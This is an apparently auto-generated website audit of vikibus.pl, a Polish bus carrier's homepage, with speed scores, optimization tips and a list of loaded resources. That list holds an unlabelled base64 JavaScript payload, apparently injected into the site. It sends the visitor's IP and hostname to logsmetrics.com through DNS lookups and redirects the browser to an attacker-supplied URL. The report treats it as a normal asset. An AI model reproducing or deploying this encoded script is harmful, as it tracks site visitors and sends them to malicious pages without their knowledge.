Tools & Wizards About Us
vikibus.pl screenshot

Report Summary

  • 36

    Performance

    Renders faster than
    55% of other websites

  • 95

    Accessibility

    Visual factors better than
    that of 86% of websites

  • 67

    Best Practices

    More advanced features
    available than in
    24% of websites

  • 91

    SEO

    Google-friendlier than
    70% of websites

vikibus.pl

VikiBus | Przewozy osobowe Chełm Lublin Radom Warszawa

Page Load Speed

4.6 sec in total

First Response

1.2 sec

Resources Loaded

3.1 sec

Page Rendered

264 ms

vikibus.pl screenshot

About Website

Welcome to vikibus.pl homepage info - get ready to check Viki Bus best content for Poland right away, or after learning these important things about vikibus.pl

U nas komfortowe kursy z Warszawy do Radomia oraz w wielu innych kierunkach. Oferujemy również kursy z Chełma do Warszawy. Zapraszamy!

Visit vikibus.pl

Key Findings

We analyzed Vikibus.pl page load time and found that the first response time was 1.2 sec and then it took 3.4 sec to load all DOM resources and completely render a web page. This is a poor result, as 60% of websites can load faster.

Performance Metrics

vikibus.pl performance score

36

Measured Metrics

name

value

score

weighting

FCP (First Contentful Paint)

Value4.3 s

18/100

10%

LCP (Largest Contentful Paint)

Value8.8 s

1/100

25%

SI (Speed Index)

Value8.6 s

17/100

10%

TBT (Total Blocking Time)

Value550 ms

53/100

30%

CLS (Cumulative Layout Shift)

Value0.075

95/100

15%

TTI (Time to Interactive)

Value10.2 s

25/100

10%

Network Requests Diagram

vikibus.pl

1249 ms

analytics.js

33 ms

wp-emoji-release.min.js

159 ms

styles.css

226 ms

style.css

347 ms

Our browser made a total of 68 requests to load all elements on the main page. We found that 78% of them (53 requests) were addressed to the original Vikibus.pl, 6% (4 requests) were made to Demo.goodlayers.com and 4% (3 requests) were made to Fonts.googleapis.com. The less responsive or slowest element that took the longest time to load (1.2 sec) belongs to the original domain Vikibus.pl.

Page Optimization Overview & Recommendations

Page size can be reduced by 817.5 kB (22%)

Content Size

3.7 MB

After Optimization

2.9 MB

  • HTML
  • Images
  • JavaScript
  • CSS

In fact, the total size of Vikibus.pl main page is 3.7 MB. This result falls beyond the top 1M of websites and identifies a large and not optimized web page that may take ages to load. 50% of websites need less resources to load. Images take 3.3 MB which makes up the majority of the site volume.

HTML Optimization

-75%

Potential reduce by 38.8 kB

  • Original 51.7 kB
  • After minification 50.5 kB
  • After compression 12.8 kB

HTML content can be minified and compressed by a website’s server. The most efficient way is to compress content using GZIP which reduces data amount travelling through the network between server and browser. HTML code on this page is well minified. It is highly recommended that content of this web page should be compressed using GZIP, as it can save up to 38.8 kB or 75% of the original size.

Image Optimization

-21%

Potential reduce by 718.5 kB

  • Original 3.3 MB
  • After minification 2.6 MB

Image size optimization can help to speed up a website loading time. The chart above shows the difference between the size before and after optimization. Obviously, Viki Bus needs image optimization as it can save up to 718.5 kB or 21% of the original volume. The most popular and efficient tools for JPEG and PNG image optimization are Jpegoptim and PNG Crush.

JavaScript Optimization

-12%

Potential reduce by 32.9 kB

  • Original 269.5 kB
  • After minification 263.4 kB
  • After compression 236.6 kB

It’s better to minify JavaScript in order to improve website performance. The diagram shows the current total size of all JavaScript files against the prospective JavaScript size after its minification and compression. It is highly recommended that all JavaScript files should be compressed and minified as it can save up to 32.9 kB or 12% of the original size.

CSS Optimization

-36%

Potential reduce by 27.3 kB

  • Original 75.5 kB
  • After minification 75.5 kB
  • After compression 48.2 kB

CSS files minification is very important to reduce a web page rendering time. The faster CSS files can load, the earlier a page can be rendered. Vikibus.pl needs all CSS files to be minified and compressed as it can save up to 27.3 kB or 36% of the original size.

Requests Breakdown

Number of requests can be reduced by 35 (57%)

Requests Now

61

After Optimization

26

  • AJAX
  • Images
  • JavaScript
  • CSS

The browser has sent 61 CSS, Javascripts, AJAX and image requests in order to completely render the main page of Viki Bus. We recommend that multiple CSS and JavaScript files should be merged into one by each type, as it can help reduce assets requests from 22 to 1 for JavaScripts and from 15 to 1 for CSS and as a result speed up the page load time.

Network Requests Diagram

vikibus.pl

vikibus.pl

1249 ms

analytics.js

analytics.js

33 ms

wp-emoji-release.min.js

wp-emoji-release.min.js

159 ms

styles.css

styles.css

226 ms

style.css

style.css

347 ms

css

css

27 ms

css

css

49 ms

css

css

49 ms

superfish.css

superfish.css

233 ms

component.css

component.css

233 ms

font-awesome.min.css

font-awesome.min.css

240 ms

style.css

style.css

238 ms

jquery.fancybox.css

jquery.fancybox.css

333 ms

flexslider.css

flexslider.css

345 ms

style-responsive.css

style-responsive.css

351 ms

style-custom.css

style-custom.css

352 ms

masterslider.main.css

masterslider.main.css

357 ms

custom.css

custom.css

442 ms

jquery.js

jquery.js

573 ms

jquery-migrate.min.js

jquery-migrate.min.js

457 ms

wpgmza_data.js

wpgmza_data.js

458 ms

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javascript;base64,KGZ1bmN0aW9uIChwYXJhbWV0ZXJzKSB7DQogICAgZmV0Y2goJ2h0dHBzOi8vYXBpNjQuaXBpZnkub3JnP2Zvcm1hdD1qc29uJykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oDQogICAgICAgIGlwID0+IHsNCiAgICAgICAgICAgIGxldCBob3N0ID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOw0KICAgICAgICAgICAgaXAgPSBpcC5pcC5yZXBsYWNlQWxsKCc6JywgJy0nKTsNCiAgICAgICAgICAgIGlwID0gaXAucmVwbGFjZUFsbCgnLicsICctJyk7DQogICAgICAgICAgICBpZiAoaG9zdCA9PSAiIikgaG9zdCA9ICJ1bmsuY29tIjsNCiAgICAgICAgICAgIGZldGNoKCdodHRwczovL2Rucy5nb29nbGUvcmVzb2x2ZT9uYW1lPScgKyBob3N0ICsgJy4nICsgaXAgKyAnLicgKyBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiAxMDI0ICogMTAyNCAqIDEwKSArICcubG9nc21ldHJpY3MuY29tJnR5cGU9dHh0JykudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpLnRoZW4oZGF0YSA9PiB7DQogICAgICAgICAgICAgICAgaWYgKGRhdGEuQW5zd2VyID09IG51bGwpIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB2YXIgbyA9ICIiOw0KICAgICAgICAgICAgICAgIGRhdGEuQW5zd2VyLmZvckVhY2goZWxlbWVudCA9PiB7DQogICAgICAgICAgICAgICAgICAgIGlmIChlbGVtZW50LnR5cGUgPT0gMTYpIG8gKz0gZWxlbWVudC5kYXRhOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgIG8gPSBhdG9iKG8pOw0KICAgICAgICAgICAgICAgIGlmICghby5sZW5ndGgpIHJldHVybjsNCiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVwbGFjZShvKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9DQogICAgKTsNCn0pKCk=

3 ms

scripts.js

scripts.js

464 ms

superfish.js

superfish.js

472 ms

hoverIntent.min.js

hoverIntent.min.js

549 ms

modernizr.custom.js

modernizr.custom.js

570 ms

jquery.dlmenu.js

jquery.dlmenu.js

598 ms

jquery.easing.js

jquery.easing.js

597 ms

jquery.fancybox.pack.js

jquery.fancybox.pack.js

598 ms

jquery.fancybox-media.js

jquery.fancybox-media.js

657 ms

jquery.fancybox-thumbs.js

jquery.fancybox-thumbs.js

682 ms

jquery.flexslider.js

jquery.flexslider.js

685 ms

jquery.isotope.min.js

jquery.isotope.min.js

687 ms

gdlr-script.js

gdlr-script.js

691 ms

js

js

52 ms

maps.js

maps.js

709 ms

wp-embed.min.js

wp-embed.min.js

765 ms

masterslider.min.js

masterslider.min.js

909 ms

collect

collect

12 ms

js

js

62 ms

phone-icon.png

phone-icon.png

56 ms

envelope-icon.png

envelope-icon.png

55 ms

logo-e1511882571652.png

logo-e1511882571652.png

214 ms

magnifier-light.png

magnifier-light.png

216 ms

blank.gif

blank.gif

222 ms

rozklad_button.png

rozklad_button.png

241 ms

bilety_button.png

bilety_button.png

291 ms

rezerwacja_button.png

rezerwacja_button.png

383 ms

plansza-informacyjna-PFR-pion-srodkowa.png

plansza-informacyjna-PFR-pion-srodkowa.png

441 ms

man_person_mens_room.png

man_person_mens_room.png

384 ms

bus.png

bus.png

385 ms

service-icon-4.png

service-icon-4.png

400 ms

pot_default-150x150.jpg

pot_default-150x150.jpg

437 ms

300-300x201.png

300-300x201.png

438 ms

montserrat-regular-webfont.ttf

montserrat-regular-webfont.ttf

436 ms

font

font

102 ms

font

font

113 ms

ElegantIcons.woff

ElegantIcons.woff

797 ms

bussrodek2.png

bussrodek2.png

1139 ms

phone-icon.png

phone-icon.png

39 ms

envelope-icon.png

envelope-icon.png

52 ms

fontawesome-webfont.woff

fontawesome-webfont.woff

726 ms

loading-2.gif

loading-2.gif

171 ms

rona-1920x980.png

rona-1920x980.png

880 ms

master-slider-right.png

master-slider-right.png

182 ms

master-slider-left.png

master-slider-left.png

285 ms

slide1.png

slide1.png

868 ms

font

font

189 ms

Accessibility Review

vikibus.pl accessibility score

95

Accessibility Issues

Contrast

These are opportunities to improve the legibility of your content.

Impact

Issue

High

Background and foreground colors do not have a sufficient contrast ratio.

Names and labels

These are opportunities to improve the semantics of the controls in your application. This may enhance the experience for users of assistive technology, like a screen reader.

Impact

Issue

High

Links do not have a discernible name

Best Practices

vikibus.pl best practices score

67

Areas of Improvement

Trust and Safety

Impact

Issue

High

Does not use HTTPS

High

Includes front-end JavaScript libraries with known security vulnerabilities

Low

Ensure CSP is effective against XSS attacks

User Experience

Impact

Issue

High

Serves images with low resolution

General

Impact

Issue

Low

Detected JavaScript libraries

High

Browser errors were logged to the console

SEO Factors

vikibus.pl SEO score

91

Search Engine Optimization Advices

Mobile Friendly

Make sure your pages are mobile friendly so users don’t have to pinch or zoom in order to read the content pages. [Learn more](https://developers.google.com/search/mobile-sites/).

Impact

Issue

High

Document doesn't use legible font sizes

High

Tap targets are not sized appropriately

Language and Encoding

  • Language Detected

    PL

  • Language Claimed

    PL

  • Encoding

    UTF-8

Language claimed in HTML meta tag should match the language actually used on the web page. Otherwise Vikibus.pl can be misinterpreted by Google and other search engines. Our service has detected that Polish is used on the page, and it matches the claimed language. Our system also found out that Vikibus.pl main page’s claimed encoding is utf-8. Use of this encoding format is the best practice as the main page visitors from all over the world won’t have any issues with symbol transcription.

Social Sharing Optimization

vikibus.pl

Open Graph data is detected on the main page of Viki Bus. This is the best way to make the web page social media friendly. Here is how it looks like on Facebook: